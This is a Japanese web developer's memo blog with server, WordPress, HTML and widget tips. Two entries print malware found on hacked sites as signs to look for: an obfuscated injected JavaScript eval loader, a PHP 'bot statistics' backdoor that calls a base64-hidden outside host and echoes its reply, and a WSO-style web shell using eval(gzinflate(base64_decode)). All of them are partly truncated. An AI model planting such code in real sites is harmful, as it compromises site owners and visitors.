フォノクラフト株式会社:作業メモや備忘録など

作業メモや備忘録など…

qmailがダウンし起動出来なくなった時には

without comments

状況

qmailのstatusはstoppedとなりxinetも同時に停止していたので、xinet起動させからqmailを稼働させる。

原因

inodeが100%になっている為にダウンした模様。

-bash-2.05b# df -i
      Filesystem Inodes IUsed IFree IUse% Mounted on /○○○○/vzfs 800000 799554 446 100% /

対策

主にサイズの小さなファイルやログが大量に生成されるプログラムが実行されている場合などにこの現象が発生する。
この場合、必要の無いファイル群を消去することで問題が解決。見つけ方は以下のコマンドなどで。

-bash-2.05b#
      find /home/httpd/○○○○/○○○○/ -type f | wc -l

解決コマンド

-bash-2.05b# service xinetd status
      xinetd dead but pid file exists

-bash-2.05b# service xinetd start
      Starting xinetd: [ OK ]

-bash-2.05b# service qmail status
      qmail is running

Categoty in bash / Mail / qmail / Server

[JS] Copyright の年号をJSで動的に表示する

without comments

使い道

毎年、年号を変更するのが面倒な場合に有効。

ソース

(C)は © としてもよい。

Copyright (C) <script type="text/javascript">var iNavInt_curYear = new Date().getUTCFullYear(); document.write(iNavInt_curYear);</script><noscript>To date</noscript> ○○○○, Inc. All Rights Reserved.

Categoty in HTML / JavaScript

[WP] /wp-admin/ 以下にベーシック認証をかけた際にFlashアップローダーで「HTTPエラー」になる。

without comments

症状

/wp-admin/ 以下にベーシック認証をかけた際にFlashアップローダーで「HTTPエラー」になる。

対策

ブラウザアップローダーを使用する。

Categoty in Flash / htaccess / Image / Security / Upload / WordPress

htmlファイルの改ざんについて

without comments

HTMLファイルの場合

htmlの場合は下記の様な記述がされることもある。
<script>
String.prototype.test="h";for(i in'')if(i=='test')m=''[i];var ss="";aa=document.createTextNode(m+"a"+"rC"+"ode");s=String["fr"+"omC"+aa['nod'+'eVa'+'lue']];d=new Date();d2=new Date(d.valueOf()-2);Object.prototype.asd="e";try{for(i in{})if(~i.indexOf('as'))throw 1;}catch(q){h=d2-d;}
n=[7-h,7-h,103-h,100-h,30-h,38-h,98-h,......(長いので中略).....95-h,
107-h,99-h,37-h,39-h,57-h,100-h,44-h,113-h,99-h,......(長いので中略).....,7-h,123-h];
for(i=0;i<n.length;i++)ss+=s(eval("n"+"["+"i"+"]"));eval(ss);
</script>

Categoty in HTML / JavaScript / Security / Virus

htaccess、日本国内からしかアクセスを許可しない設定。

without comments

使い道

固定IPが望ましいが、日本国内からしかアクセスを許可しないようにするだけでも、多少なりともハッキング対策にはなる。

参考サイト

Categoty in htaccess / Security / Virus

[WP] ウィルス対策ソフトで「trojan-downloader.js.○○○○」と出てしまった場合。

without comments

調べるべきファイル

WordPressで構築しているサイトに於いて、カスペルスキーやaguse.jpで「trojan-downloader.js.○○○○」と出てしまった場合は、下記を疑ってみる。

  1. /index.php
  2. /wp-admin/index.php
  3. /wp-admin/admin-footer.php
  4. /wp-content/ 直下にindex.phpが置かれる
  5. /wp-content/themes/(テーマ名)/footer.php
など

兎に角、各ディレクトリやを探ってみて更新日(タイムスタンプ)に身に覚えの無い場合、怪しい場合は要注意。

記述されるソース:例

ソース上にこのような記述がされていたら要注意。

※あまりこういったコード自体を晒しては行けないんですが・・・

<?php    
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if(!(strpos($sUserAgent, 'google') === false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL3(....中略....)QucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            $stCurlHandle = curl_init( $stCurlLink ); 
    }
    } else
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0c(....中略....)XQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']);
            $stCurlHandle = curl_init( $stCurlLink ); 
    }
    }
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    $sResult = curl_exec($stCurlHandle); 
    echo $sResult; // Statistic code end
    curl_close($stCurlHandle); 
}
?>

 

<?php    
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if(!(strpos($sUserAgent, 'google') === false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL2(....中略....)N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            $stCurlHandle = curl_init( $stCurlLink ); 
    }
    } else
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL2(....中略....)N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']);
            $stCurlHandle = curl_init( $stCurlLink ); 
    }
    }
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    $sResult = curl_exec($stCurlHandle); 
    echo $sResult; // Statistic code end
    curl_close($stCurlHandle); 
}
?>

原因

いろいろ調べてみたところ、base64_decodeが埋め込まれてたことが発覚

/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/ の中に wp-form.php というファイルが置かれており

if(isset(
$_GET['4362af97c8f'])) {
$auth_pass = "6eac901b7(中略)898e32d12";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
preg_replace("/.*/e","eval(gzinflate(base64_decode('5b1pdxrHEjD82fec(....中略....)EiippqKn6fwE=')));
",".");
}

という記述を発見。『tinymce』ディレクトリ自体をバックアップと差し替え様子をみる。

詳しいことはまだ分からないのだが、どうやらwordpressの管理画面から「投稿」する度に発動する模様

出典・参考

フォーラム「PHPファイルに不正なコードが埋め込まれる」

Categoty in PHP / Security / Virus / WordPress

[WP] テンプレート以外でWordPressタグ等を使う場合

without comments

ソース

wp-load.phpを読み込ませる。ページ送り(ページング、ページネーション)は効かないので注意

<?php
include_once "/home/○○○○/○○○○/wp-load.php"
 ?>

Categoty in WordPress

リストタグで画像を使うメモ(今更ながら)

without comments

ソース

画像は縦横14px。styleに直書きしているが、実用の際にはclassにすること

<ul style="margin:5px 0;padding:0;">
<li style="margin-left:3px;padding-left:16px; background: url(/common/img/icon_arrow_blue.gif) no-repeat 0px 1px; list-style: none;">
<a href="○○○○○○○○○○○○○○○○">○○○○○○○○○○○○○○○○</a>
</li>
</ul>

Categoty in CSS / HTML / Image

Twitterウィジェットで要らない要素を消しながら表示する

without comments

使い道

Twitterウィジェットで要らない要素を消しながら表示する

HTMLソース

<!-- Twitter Widget --> 
<script type="text/javascript" src="http://twitter.com/javascripts/widgets/widget.js"></script> 
 
<script type="text/javascript"> 
new TWTR.Widget({
version: 2,
type: 'search',
rpp: 100,
search: "キーワード -外すキーワード -外すキーワード",
interval: 2000,
title: '',
subject: '',
width: 223,
height: 580,
theme: {
shell: {
//background: '#FFFFEE',
//color: '#FFFFEE'
background: '#FFFFFF',
color: 'none'
},
tweets: {
background: '#FFFFFF',
color: '#333333',
links: '#048091'
}
},
features: {
//scrollbar: false,
scrollbar: false,
loop: true,
live: true,
hashtags: true,
timestamp: true,
avatars: true,
//behavior: 'default'
behavior: 'all'
}
}).render().start();
</script> 
<!-- /Twitter Widget --> 

CSSソース

/* /Twitter Badge */
.twtr-doc{/*cursor: url(../img/tweet_cursor.png), pointer;*/}/*全体の枠*/
.twtr-bd{}/*メイン部の枠*/

.twtr-profile-img{}
.twtr-profile-img-anchor{}
.twtr-widget{}
.twtr-hyperlink{}
.twtr-atreply{}
.twtr-hashtag{}
.twtr-img{}
.twtr-tweet-wrap{}/*各セルの背景*/
.twtr-avatar{}/*アバター*/
	.twtr-avatar img{}/*アバター*/
.twtr-tweet-text{}/*テキスト部*/
.twtr-user{}/*ユーザ名*/
.twtr-join-conv{}
.twtr-new-results{}
.twtr-results-inner{display:none;}
.twtr-results-hr{display:none;}
.twtr-timestamp{}
.twtr-reply{}
.twtr-tweet{}
.twtr-spinner{}
.twtr-scroll{}
.twtr-fullscreen{}
.twtr-inactive{}
.twtr-reference-tweet{}

.twtr-paused{}
.twtr-hd{display:none;}/*ヘッダ*/
.twtr-ft{display:none;}/*フッタ*/

/* /Twitter Badge */

表示サンプル

引っ掛けるキーワードは「鎌倉」と設定しています。

Categoty in API / CSS / HTML / Service / Twitter / Widget

[GoogleMap] 住所から直接地図画像を表示する

without comments

使い道

GoogleMapAPIをこねくり回す程でもなく、座標を入力も手間かけず、APIキーも不要。そんなものぐさ仕様。

また、画像なので軽い、おまけにマウスホイールでページをスクロールすると、
GoogleMapでいきなり拡大に切り替わるのも防げる。そんなメリット。

大雑把にしか出ない場合があるのはご愛嬌。

表示例

東京都現代美術館:〒135-0022 東京都江東区三好4-1-1

東京都現代美術館

ソース

パラメータについてはこちらを参照

<a href="http://maps.google.co.jp/maps?q=【ここに住所】(半角スペース)【施設名など】&hl=ja&ie=UTF8&oe=utf-8" target="_blank">
<img src="http://maps.google.com/maps/api/staticmap?center=【ここに住所】&markers=【ここに住所】&zoom=16&size=480x360&mobile=true&sensor=false" border="0" alt="【施設名など】" />
</a>

Categoty in API / HTML / Image / Map